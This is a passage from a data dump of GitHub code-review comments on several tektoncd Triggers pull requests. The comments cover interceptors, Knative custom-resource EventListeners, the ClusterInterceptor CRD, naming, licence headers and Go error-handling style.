"pr_number": 828, "repo": "triggers"} +{"author": "khrm", "body": "We can differentiate that based on error also but InterceptorResponse along with Error is probably better. Do we need to document this behaviour so that other interceptor also return InterceptorResponse like this?", "comment_id": 525203233, "created_at": "2020-11-17T14:37:36Z", "line": null, "path": "pkg/sink/sink.go", "pr_number": 828, "repo": "triggers"} +{"author": "dibyom", "body": "done", "comment_id": 525433681, "created_at": "2020-11-17T19:34:13Z", "line": null, "path": "pkg/sink/sink.go", "pr_number": 828, "repo": "triggers"} +{"author": "dibyom", "body": "done!\r\n", "comment_id": 525462123, "created_at": "2020-11-17T19:57:30Z", "line": null, "path": "pkg/interceptors/cel/cel.go", "pr_number": 828, "repo": "triggers"} +{"author": "dibyom", "body": "done.", "comment_id": 525464056, "created_at": "2020-11-17T19:59:05Z", "line": null, "path": "pkg/interceptors/cel/cel.go", "pr_number": 828, "repo": "triggers"} +{"author": "dibyom", "body": "done.", "comment_id": 525508860, "created_at": "2020-11-17T20:38:19Z", "line": null, "path": "pkg/sink/sink.go", "pr_number": 828, "repo": "triggers"} +{"author": "dibyom", "body": "ack. the only reason I did not do it here was because there was no existing context to plumb through. Was planning on adding it a follow up PR where we move the interceptors to run in a separate HTTP service. What do you think?", "comment_id": 525510674, "created_at": "2020-11-17T20:40:46Z", "line": 252, "path": "pkg/sink/sink.go", "pr_number": 828, "repo": "triggers"} +{"author": "wlynch", "body": "sgtm", "comment_id": 526410807, "created_at": "2020-11-18T20:49:02Z", "line": 252, "path": "pkg/sink/sink.go", "pr_number": 828, "repo": "triggers"} +{"author": "dibyom", "body": "Should we move the contract to the triggers docs instead of pointing to the TEP?", "comment_id": 581208949, "created_at": "2021-02-23T16:53:08Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "can we symlink to examples/rbac.yaml instead of copying this file over?", "comment_id": 581209839, "created_at": "2021-02-23T16:54:13Z", "line": null, "path": "examples/custom-resource/rbac.yaml", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "Do we need this Status condition? Can we just show the Ready status from the Knative service?", "comment_id": 581210853, "created_at": "2021-02-23T16:55:29Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/event_listener_types.go", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "```suggestion\r\n - [`resources`](#resources) - Specifies the Kubernetes/Custom Resource shape for the EventListener sink\r\n```", "comment_id": 581325651, "created_at": "2021-02-23T19:26:31Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "```suggestion\r\nHere we will use a [Knative Service](https://knative.dev/docs/) as an example to demonstrate usage of `CustomResource`\r\n```", "comment_id": 581326621, "created_at": "2021-02-23T19:27:50Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "do we need to provide a name? Shouldn't we follow the same naming convention as we do for the k8s deployment i.e the el name with the `el-` prefix?", "comment_id": 581327442, "created_at": "2021-02-23T19:28:57Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "```suggestion\r\n## GitHub Knative EventListener\r\n```", "comment_id": 581327857, "created_at": "2021-02-23T19:29:33Z", "line": null, "path": "examples/custom-resource/README.md", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "small nit: maybe github-knative-listener ", "comment_id": 581328271, "created_at": "2021-02-23T19:30:06Z", "line": null, "path": "examples/custom-resource/github-eventlistener-interceptor-customresource.yaml", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "```suggestion\r\n\t\treturn apis.ErrMultipleOneOf(\"spec.resources.kubernetesResource\", \"spec.resources.customResource\")\r\n```", "comment_id": 581329427, "created_at": "2021-02-23T19:31:30Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/event_listener_validation.go", "pr_number": 958, "repo": "triggers"} +{"author": "savitaashture", "body": "If name provided it uses that or else `EL` uses name with the `el-` prefix \r\n\r\nBut to keep consistency i will just remove name field from example yaml", "comment_id": 581971111, "created_at": "2021-02-24T13:46:58Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 958, "repo": "triggers"} +{"author": "savitaashture", "body": "Modified doc", "comment_id": 582066790, "created_at": "2021-02-24T15:40:57Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 958, "repo": "triggers"} +{"author": "savitaashture", "body": "Yes i agree we can remove and show whatever is coming from Knative", "comment_id": 582068373, "created_at": "2021-02-24T15:42:52Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/event_listener_types.go", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "yeah if we are using a different name, we also need to change the value in status in status.configuration.generatedName", "comment_id": 582276646, "created_at": "2021-02-24T20:23:47Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "I'd just remove supplying the name field altogether since there are other parts of the code where we run under the assumption that the type is el-$(name) e.g. status.configuration.generatedName", "comment_id": 582277465, "created_at": "2021-02-24T20:25:09Z", "line": null, "path": "examples/custom-resource/github-knative-listener-customresource.yaml", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "can we move the ListableTracker to its own package?", "comment_id": 582278751, "created_at": "2021-02-24T20:27:23Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "is there a reason we cannot use the existing mergeMaps? The labels/annotations have to be map[string]string anyway I think?", "comment_id": 582291963, "created_at": "2021-02-24T20:44:46Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "A bunch of these calls seem very similar...maybe we could put those in a helper function? (Its fine to do it out of this PR, but let's open an issue to track that?)", "comment_id": 582292587, "created_at": "2021-02-24T20:45:49Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "This code looks very similar to the getContainer call....(with maybe the exception of the TLS stuff). Maybe we can extract the TLS bit into its own function and then reuse the getContainer call? Otherwise this will get messy to maintain...anytime we make a change to the container spec, we'll have to change two places.", "comment_id": 582298458, "created_at": "2021-02-24T20:55:54Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "Should we log?", "comment_id": 582301733, "created_at": "2021-02-24T21:01:23Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "Should we log?", "comment_id": 582301808, "created_at": "2021-02-24T21:01:33Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "hmmm why do we need to do this?", "comment_id": 582302133, "created_at": "2021-02-24T21:02:06Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "Maybe rename to DuckPods or WithPods?", "comment_id": 582302748, "created_at": "2021-02-24T21:03:14Z", "line": null, "path": "test/controller.go", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "(we don't update observedGeneration from k8s deployment to EL deployment)", "comment_id": 582311409, "created_at": "2021-02-24T21:17:44Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "savitaashture", "body": "Modified :+1: ", "comment_id": 582866153, "created_at": "2021-02-25T14:16:12Z", "line": null, "path": "examples/custom-resource/github-knative-listener-customresource.yaml", "pr_number": 958, "repo": "triggers"} +{"author": "savitaashture", "body": "Created new package and added changes related to duck and dynamic over there ", "comment_id": 582866504, "created_at": "2021-02-25T14:16:39Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "savitaashture", "body": "Refactored \r\n\r\njust one point apart from TLS stuff the difference right now while using Knative object is `probes` and [env](https://github.com/tektoncd/triggers/pull/958/files?file-filters%5B%5D=.go#diff-8ada42d708113fb9c530f8abd77cc57f79e505776e654da3751092509ad8eb20R608-R610)\r\n\r\nKnative handles Probes in different way so if require we can add in another PR \r\n\r\nI will open an issue to track this", "comment_id": 582870920, "created_at": "2021-02-25T14:22:02Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "savitaashture", "body": "logged as `Warn`", "comment_id": 582871226, "created_at": "2021-02-25T14:22:23Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "savitaashture", "body": "logged as `Warn`", "comment_id": 582871301, "created_at": "2021-02-25T14:22:29Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "savitaashture", "body": "ya its not needed removed :+1: ", "comment_id": 582871476, "created_at": "2021-02-25T14:22:44Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "savitaashture", "body": "Sorry that was by mistake thought to modify later but forgot\r\n\r\nModified as part of this commit https://github.com/tektoncd/triggers/pull/958/commits/ca9eb60d1cd0942e587d36105797b78be50aa263", "comment_id": 583102587, "created_at": "2021-02-25T19:22:18Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "savitaashture", "body": "Refactored and added those changes as part of helpers to avoid lot of changes as part of eventlistener.go", "comment_id": 583104812, "created_at": "2021-02-25T19:26:00Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "Thanks I think its fine to add TLS support in another PR!", "comment_id": 583127452, "created_at": "2021-02-25T20:01:55Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "Thank you!!!", "comment_id": 583127544, "created_at": "2021-02-25T20:02:04Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "v minor: I'd rename the file and call this reconcile.go or something. helpers.go is ambiguous.", "comment_id": 583135373, "created_at": "2021-02-25T20:14:20Z", "line": null, "path": "pkg/dynamic/helpers.go", "pr_number": 958, "repo": "triggers"} +{"author": "dibyom", "body": "v minor: since this returns a WithPod maybe call this function `makeWithPod`", "comment_id": 583140608, "created_at": "2021-02-25T20:19:21Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener_test.go", "pr_number": 958, "repo": "triggers"} +{"author": "savitaashture", "body": "renamed to `custom_reconcile.go` as the changes added in that functions are related to `customResource`", "comment_id": 583386629, "created_at": "2021-02-26T05:07:06Z", "line": null, "path": "pkg/dynamic/helpers.go", "pr_number": 958, "repo": "triggers"} +{"author": "sergetron", "body": "Colon at the end of the step text.", "comment_id": 583667433, "created_at": "2021-02-26T14:15:49Z", "line": null, "path": "examples/custom-resource/README.md", "pr_number": 958, "repo": "triggers"} +{"author": "sergetron", "body": "Same comment as above about \"should\".", "comment_id": 583667694, "created_at": "2021-02-26T14:16:10Z", "line": null, "path": "examples/custom-resource/README.md", "pr_number": 958, "repo": "triggers"} +{"author": "sergetron", "body": "I would avoid \"should\" - it introduces uncertainty. The users either sees the 201 Created status or they don't. What do they do if they don't see it?", "comment_id": 583668146, "created_at": "2021-02-26T14:16:50Z", "line": null, "path": "examples/custom-resource/README.md", "pr_number": 958, "repo": "triggers"} +{"author": "sergetron", "body": "\"A `CustomResource` object has one field that supports dynamic objects.\"", "comment_id": 583669001, "created_at": "2021-02-26T14:17:59Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 958, "repo": "triggers"} +{"author": "sergetron", "body": "\"...which adheres to the Contract described below.\"", "comment_id": 583669625, "created_at": "2021-02-26T14:18:52Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 958, "repo": "triggers"} +{"author": "sergetron", "body": "What is \"new custom\"? Why is it \"Knative or new custom\"?", "comment_id": 583670139, "created_at": "2021-02-26T14:19:39Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 958, "repo": "triggers"} +{"author": "savitaashture", "body": "As TriggerTemplate of EL explicitly creates TaskRun so i believe \"should\" suites here", "comment_id": 583803168, "created_at": "2021-02-26T17:33:54Z", "line": null, "path": "examples/custom-resource/README.md", "pr_number": 958, "repo": "triggers"} +{"author": "sergetron", "body": "In that case, \"You will see the newly created `TaskRun`\" is more appropriate.", "comment_id": 583806328, "created_at": "2021-02-26T17:38:56Z", "line": null, "path": "examples/custom-resource/README.md", "pr_number": 958, "repo": "triggers"} +{"author": "savitaashture", "body": "Its new CRD instead of new Custom\r\n\r\nModified sentence ", "comment_id": 583806498, "created_at": "2021-02-26T17:39:13Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 958, "repo": "triggers"} +{"author": "savitaashture", "body": "modified \r\nThank you :+1: ", "comment_id": 584033398, "created_at": "2021-02-27T03:54:31Z", "line": null, "path": "examples/custom-resource/README.md", "pr_number": 958, "repo": "triggers"} +{"author": "wlynch", "body": "I'm not 100% sure we want this to be cluster scoped. In particular, I'm thinking about how we can expose custom interceptors that can only be used within a single tenant namespace.", "comment_id": 578807672, "created_at": "2021-02-18T23:01:43Z", "line": null, "path": "docs/interceptortypes.md", "pr_number": 960, "repo": "triggers"} +{"author": "wlynch", "body": "Should we reuse [WebhookClientConfig](https://github.com/kubernetes/apiextensions-apiserver/blob/b343cbeb89f1b1f00514360d1e67397207b2e7be/pkg/apis/apiextensions/types.go#L107)? \r\n\r\nAt the very least we can likely reuse the ServiceReference if we want to use the apis.URL for URL. The cert data is also useful for HTTPS.", "comment_id": 578812421, "created_at": "2021-02-18T23:12:11Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/interceptor_type_types.go", "pr_number": 960, "repo": "triggers"} +{"author": "wlynch", "body": "bikeshed: I kind of like InterceptorConfiguration to be consistent with [ValidatingWebhookConfiguration](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/).\r\n\r\nOther good ideas to borrow from admission webhooks we should look into later:\r\n- Version info (e.g. have different routes based on interceptor version)\r\n- Timeout", "comment_id": 578813964, "created_at": "2021-02-18T23:15:51Z", "line": null, "path": "docs/interceptortypes.md", "pr_number": 960, "repo": "triggers"} +{"author": "wlynch", "body": "This should be nested in `service`. We should also make note of the optional fields.", "comment_id": 578814119, "created_at": "2021-02-18T23:16:17Z", "line": null, "path": "docs/interceptortypes.md", "pr_number": 960, "repo": "triggers"} +{"author": "wlynch", "body": "\ud83e\udd37 0 isn't a valid port, so it probably doesn't matter.", "comment_id": 578816305, "created_at": "2021-02-18T23:21:32Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/interceptor_type_defaults.go", "pr_number": 960, "repo": "triggers"} +{"author": "MarcelMue", "body": "I would prefer it to be a pointer because it makes defaulting a bit easier but either way is fine with me.", "comment_id": 579074066, "created_at": "2021-02-19T10:14:40Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/interceptor_type_defaults.go", "pr_number": 960, "repo": "triggers"} +{"author": "MarcelMue", "body": "I think using a WebhookClientConfig is a good idea - maybe just reimplementing the type here if we are concerned about dependencies.", "comment_id": 579135424, "created_at": "2021-02-19T12:01:42Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/interceptor_type_types.go", "pr_number": 960, "repo": "triggers"} +{"author": "dibyom", "body": "yeah, I am basically reimplementing the type here....two differences:\r\n1. using apis.URL instead of string for the URL type for better validation/json marshalling\r\n2. we do not have a `caCert` field type (yet!) for HTTPS\r\n\r\n\r\nPulling in a new dependency for just the two structs seems much so I decided to copy the structs. It also allows us to make changes (e.g. making the port a *int instead of int as suggested below)", "comment_id": 579491337, "created_at": "2021-02-19T21:40:21Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/interceptor_type_types.go", "pr_number": 960, "repo": "triggers"} +{"author": "dibyom", "body": "\ud83e\udd26 ", "comment_id": 579491465, "created_at": "2021-02-19T21:40:41Z", "line": null, "path": "docs/interceptortypes.md", "pr_number": 960, "repo": "triggers"} +{"author": "dibyom", "body": "I'll switch to a pointer type to make this clearer.", "comment_id": 579491618, "created_at": "2021-02-19T21:40:59Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/interceptor_type_defaults.go", "pr_number": 960, "repo": "triggers"} +{"author": "dibyom", "body": "If its not cluster scoped, each new namespace would have to install their own version of Interceptors....could we not use RBAC to restrict if certain interceptors need to be limited?", "comment_id": 579492447, "created_at": "2021-02-19T21:42:54Z", "line": null, "path": "docs/interceptortypes.md", "pr_number": 960, "repo": "triggers"} +{"author": "dibyom", "body": "hmmm yeah...this CRD is definitely based on the WebhookConfiguration CRDs....I don't have a strong preference on calling this InterceptorConfguration or something else --> I thought it was a bit confusing in the sense its not clear if it is some interceptor configuration that can be reused within a trigger vs configuration for a new kind of interceptor.\r\n\r\nThe InterceptorType name can be a bit awkward a times too though like we now have a file called interceptor_type_types.go", "comment_id": 579494404, "created_at": "2021-02-19T21:47:16Z", "line": null, "path": "docs/interceptortypes.md", "pr_number": 960, "repo": "triggers"} +{"author": "dibyom", "body": "chatted with @wlynch about this. We will start off with a cluster scoped CRD but will implement a Namespace scoped version of this in the future as well.", "comment_id": 581167970, "created_at": "2021-02-23T16:05:16Z", "line": null, "path": "docs/interceptortypes.md", "pr_number": 960, "repo": "triggers"} +{"author": "wlynch", "body": "This still needs to be fixed \ud83d\ude05", "comment_id": 581299596, "created_at": "2021-02-23T18:47:40Z", "line": null, "path": "docs/interceptortypes.md", "pr_number": 960, "repo": "triggers"} +{"author": "wlynch", "body": "Thanks! Let's update the docs to reflect the change.", "comment_id": 581300396, "created_at": "2021-02-23T18:48:54Z", "line": null, "path": "docs/interceptortypes.md", "pr_number": 960, "repo": "triggers"} +{"author": "MarcelMue", "body": "I personally don't love the `Configuration` suffix. It makes sense if we have a different `Interceptor` object but a `Configuration` suffix without an `Interceptor` CRD seems weird to me.\r\n\r\nNo strong opinions though.", "comment_id": 581309835, "created_at": "2021-02-23T19:02:57Z", "line": null, "path": "docs/interceptortypes.md", "pr_number": 960, "repo": "triggers"} +{"author": "wlynch", "body": "Few more Interceptor -> ClusterInterceptor replacements need to be made in here.", "comment_id": 582376367, "created_at": "2021-02-24T23:20:13Z", "line": null, "path": "docs/clusterinterceptors.md", "pr_number": 960, "repo": "triggers"} +{"author": "savitaashture", "body": "Just a thought that 80 and 443 are kind of standard port \r\nSo can we use some other port?", "comment_id": 591760268, "created_at": "2021-03-10T18:18:19Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_defaults.go", "pr_number": 960, "repo": "triggers"} +{"author": "savitaashture", "body": "```suggestion\r\nCopyright 2021 The Tekton Authors\r\n```", "comment_id": 591760388, "created_at": "2021-03-10T18:18:30Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_defaults.go", "pr_number": 960, "repo": "triggers"} +{"author": "savitaashture", "body": "we have only one case so shall we write without using for loop ? i mean direct calling function", "comment_id": 591761547, "created_at": "2021-03-10T18:20:00Z", "line": 66, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_defaults_test.go", "pr_number": 960, "repo": "triggers"} +{"author": "savitaashture", "body": "missing License ", "comment_id": 591761894, "created_at": "2021-03-10T18:20:33Z", "line": 17, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_defaults_test.go", "pr_number": 960, "repo": "triggers"} +{"author": "savitaashture", "body": "License ", "comment_id": 591762020, "created_at": "2021-03-10T18:20:43Z", "line": 17, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_types.go", "pr_number": 960, "repo": "triggers"} +{"author": "savitaashture", "body": "```suggestion\r\n// ServiceReference is a reference to a Service object\r\n```", "comment_id": 591763341, "created_at": "2021-03-10T18:22:37Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_types.go", "pr_number": 960, "repo": "triggers"} +{"author": "savitaashture", "body": "can we add `omitempty` as its optional field", "comment_id": 591764161, "created_at": "2021-03-10T18:23:47Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_types.go", "pr_number": 960, "repo": "triggers"} +{"author": "savitaashture", "body": "can we use `defaultPort` from default.go file so that we can avoid hard coding here", "comment_id": 591765695, "created_at": "2021-03-10T18:25:53Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_types.go", "pr_number": 960, "repo": "triggers"} +{"author": "savitaashture", "body": "shall we include license here ?", "comment_id": 591766839, "created_at": "2021-03-10T18:27:25Z", "line": 17, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_types_test.go", "pr_number": 960, "repo": "triggers"} +{"author": "savitaashture", "body": "```suggestion\r\nCopyright 2021 The Tekton Authors\r\n```", "comment_id": 591768154, "created_at": "2021-03-10T18:29:09Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_validation.go", "pr_number": 960, "repo": "triggers"} +{"author": "dibyom", "body": "wanted to keep this around so that later when we add more tests, its easy :)", "comment_id": 591830495, "created_at": "2021-03-10T19:59:04Z", "line": 66, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_defaults_test.go", "pr_number": 960, "repo": "triggers"} +{"author": "dibyom", "body": "done", "comment_id": 591831502, "created_at": "2021-03-10T20:00:41Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_types.go", "pr_number": 960, "repo": "triggers"} +{"author": "dibyom", "body": "done!", "comment_id": 591832277, "created_at": "2021-03-10T20:01:54Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_types.go", "pr_number": 960, "repo": "triggers"} +{"author": "dibyom", "body": "users can always specify a different port. I think 80 makes a good default since otherwise every interceptor author will have to specify the \"custom\" default port that we added. \r\n\r\n(When we add TLS support, we could try 443 as default perhaps -- that's what the WebhookConfiguration CRDs do.) ", "comment_id": 591833842, "created_at": "2021-03-10T20:04:29Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/cluster_interceptor_defaults.go", "pr_number": 960, "repo": "triggers"} +{"author": "bigkevmcd", "body": "I wonder if this shouldn't be moved to the `TriggerInterceptor`?", "comment_id": 595300253, "created_at": "2021-03-16T15:48:03Z", "line": null, "path": "pkg/interceptors/interceptors.go", "pr_number": 976, "repo": "triggers"} +{"author": "bigkevmcd", "body": "It's a bit confusing from the diff, but I suspect that `TestResolvePath` which is the function for the changes below should be renamed to `TestGetName` ?", "comment_id": 595321993, "created_at": "2021-03-16T16:12:32Z", "line": 249, "path": "pkg/interceptors/interceptors_test.go", "pr_number": 976, "repo": "triggers"} +{"author": "bigkevmcd", "body": "Is there a reason to make this local look like an exported value?", "comment_id": 595325019, "created_at": "2021-03-16T16:16:02Z", "line": null, "path": "pkg/reconciler/v1alpha1/clusterinterceptor/controller.go", "pr_number": 976, "repo": "triggers"} +{"author": "bigkevmcd", "body": "I'd probably prefer this to be consistent `ResolveToURL()`", "comment_id": 595332295, "created_at": "2021-03-16T16:23:27Z", "line": null, "path": "pkg/interceptors/interceptors_test.go", "pr_number": 976, "repo": "triggers"} +{"author": "bigkevmcd", "body": "I think we can improve the error message here to indicate what it was trying to find?", "comment_id": 595333161, "created_at": "2021-03-16T16:24:31Z", "line": null, "path": "pkg/interceptors/interceptors.go", "pr_number": 976, "repo": "triggers"} +{"author": "dibyom", "body": "Done.", "comment_id": 595475160, "created_at": "2021-03-16T19:21:22Z", "line": null, "path": "pkg/interceptors/interceptors.go", "pr_number": 976, "repo": "triggers"} +{"author": "dibyom", "body": "yup good catch, changed the name and made it part of TriggerInterceptor.", "comment_id": 595475583, "created_at": "2021-03-16T19:21:59Z", "line": 249, "path": "pkg/interceptors/interceptors_test.go", "pr_number": 976, "repo": "triggers"} +{"author": "dibyom", "body": "I think this was due to a massive search and replace I did", "comment_id": 595476248, "created_at": "2021-03-16T19:23:00Z", "line": null, "path": "pkg/reconciler/v1alpha1/clusterinterceptor/controller.go", "pr_number": 976, "repo": "triggers"} +{"author": "savitaashture", "body": "I think `PodTemplate` removed in latest release \r\nCan we remove this from here", "comment_id": 725454052, "created_at": "2021-10-09T08:14:29Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 1232, "repo": "triggers"} +{"author": "savitaashture", "body": "same for Kubernetes service type \r\nthe doc has been changed bit in latest doc", "comment_id": 725454158, "created_at": "2021-10-09T08:15:16Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 1232, "repo": "triggers"} +{"author": "savitaashture", "body": "As its alpha feature \r\nshould we keep in v1beta1 also ?", "comment_id": 725454250, "created_at": "2021-10-09T08:16:11Z", "line": 1, "path": "examples/v1beta1/triggergroups/eventlistener-triggergroup.yaml", "pr_number": 1232, "repo": "triggers"} +{"author": "savitaashture", "body": "should we add validation for v1alpha1 also ?", "comment_id": 725454395, "created_at": "2021-10-09T08:17:32Z", "line": 78, "path": "pkg/apis/triggers/v1beta1/event_listener_validation.go", "pr_number": 1232, "repo": "triggers"} +{"author": "dibyom", "body": "Ahh sorry. This snuck in.", "comment_id": 726182257, "created_at": "2021-10-11T14:43:00Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 1232, "repo": "triggers"} +{"author": "dibyom", "body": "So, the `apiVersion` has to be v1beta1 for `triggerGroups` but with the `enable-feature-gates` set to `alpha`. If you use `v1alpha1` apiVersion, you cannot use triggerGroups.", "comment_id": 726183251, "created_at": "2021-10-11T14:44:11Z", "line": 1, "path": "examples/v1beta1/triggergroups/eventlistener-triggergroup.yaml", "pr_number": 1232, "repo": "triggers"} +{"author": "dibyom", "body": "See my comment above. The triggerGroups field only exists in the v1beta1 apiVersion.", "comment_id": 726183615, "created_at": "2021-10-11T14:44:33Z", "line": 78, "path": "pkg/apis/triggers/v1beta1/event_listener_validation.go", "pr_number": 1232, "repo": "triggers"} +{"author": "wlynch", "body": "Missing godoc comments", "comment_id": 726465508, "created_at": "2021-10-11T17:53:15Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/event_listener_types.go", "pr_number": 1232, "repo": "triggers"} +{"author": "wlynch", "body": "Fix TODOs", "comment_id": 726473063, "created_at": "2021-10-11T17:57:42Z", "line": null, "path": "pkg/apis/triggers/v1beta1/event_listener_types.go", "pr_number": 1232, "repo": "triggers"} +{"author": "wlynch", "body": "Sanity checking we want to keep this as Info instead of Debug", "comment_id": 726475295, "created_at": "2021-10-11T18:01:37Z", "line": 122, "path": "pkg/interceptors/server/server.go", "pr_number": 1232, "repo": "triggers"} +{"author": "wlynch", "body": "Move this definition futher down to where its used.", "comment_id": 726481197, "created_at": "2021-10-11T18:12:36Z", "line": 242, "path": "pkg/sink/sink.go", "pr_number": 1232, "repo": "triggers"} +{"author": "wlynch", "body": "I think this can be removed? AFAICT in this func all error handling in this func is immediately followed with\r\n\r\n```\r\nif err != nil {\r\n return err\r\n}\r\n```", "comment_id": 726481615, "created_at": "2021-10-11T18:13:24Z", "line": 243, "path": "pkg/sink/sink.go", "pr_number": 1232, "repo": "triggers"} +{"author": "wlynch", "body": "nit: Similar to https://github.com/golang/go/wiki/CodeReviewComments#indent-error-flow, I'd recommend handling the fast-exit cases first - e.g.\r\n\r\n```go\r\nif triggerFunc == nil {\r\n return trItems, nil\r\n}\r\n\r\n// ... do everything else\r\n```", "comment_id": 726485246, "created_at": "2021-10-11T18:20:19Z", "line": null, "path": "pkg/sink/sink.go", "pr_number": 1232, "repo": "triggers"} +{"author": "wlynch", "body": "IIUC, %w is only intended for fmt.Errorf, not for logging/printing", "comment_id": 726487232, "created_at": "2021-10-11T18:24:01Z", "line": null, "path": "pkg/sink/sink.go", "pr_number": 1232, "repo": "triggers"} +{"author": "wlynch", "body": "```suggestion\r\n\t\t\tr.Logger.Errorf(\"Error getting Triggers: %v\", err)\r\n```", "comment_id": 726487372, "created_at": "2021-10-11T18:24:13Z", "line": null, "path": "pkg/sink/sink.go", "pr_number": 1232, "repo": "triggers"} +{"author": "wlynch", "body": "Optional for this PR, but we might want to look into adding something like https://github.com/tektoncd/pipeline/blob/f8c2eea6ad6370cd290d937d143358e99c2d7ad6/pkg/apis/pipeline/v1beta1/pipelinerun_types.go#L114-L117", "comment_id": 726489836, "created_at": "2021-10-11T18:28:29Z", "line": 334, "path": "pkg/sink/sink.go", "pr_number": 1232, "repo": "triggers"} +{"author": "wlynch", "body": "Do we now why these licenses are being deleted?", "comment_id": 726492140, "created_at": "2021-10-11T18:32:37Z", "line": 1, "path": "third_party/vendor/golang.org/x/crypto/LICENSE", "pr_number": 1232, "repo": "triggers"} +{"author": "dibyom", "body": "Hmm, I thought I removed the types from v1alpha1.", "comment_id": 726515408, "created_at": "2021-10-11T19:18:25Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/event_listener_types.go", "pr_number": 1232, "repo": "triggers"} +{"author": "dibyom", "body": "good catch", "comment_id": 726524386, "created_at": "2021-10-11T19:36:47Z", "line": 122, "path": "pkg/interceptors/server/server.go", "pr_number": 1232, "repo": "triggers"} +{"author": "dibyom", "body": "ack. Keeping it here since it is also called by the `HandleEvent` function above.", "comment_id": 726529717, "created_at": "2021-10-11T19:47:50Z", "line": 242, "path": "pkg/sink/sink.go", "pr_number": 1232, "repo": "triggers"} +{"author": "dibyom", "body": "I think its because `targetLabels := labels.Everything()` and then assigned to in inside the if, we have to pre-declare the err variable.", "comment_id": 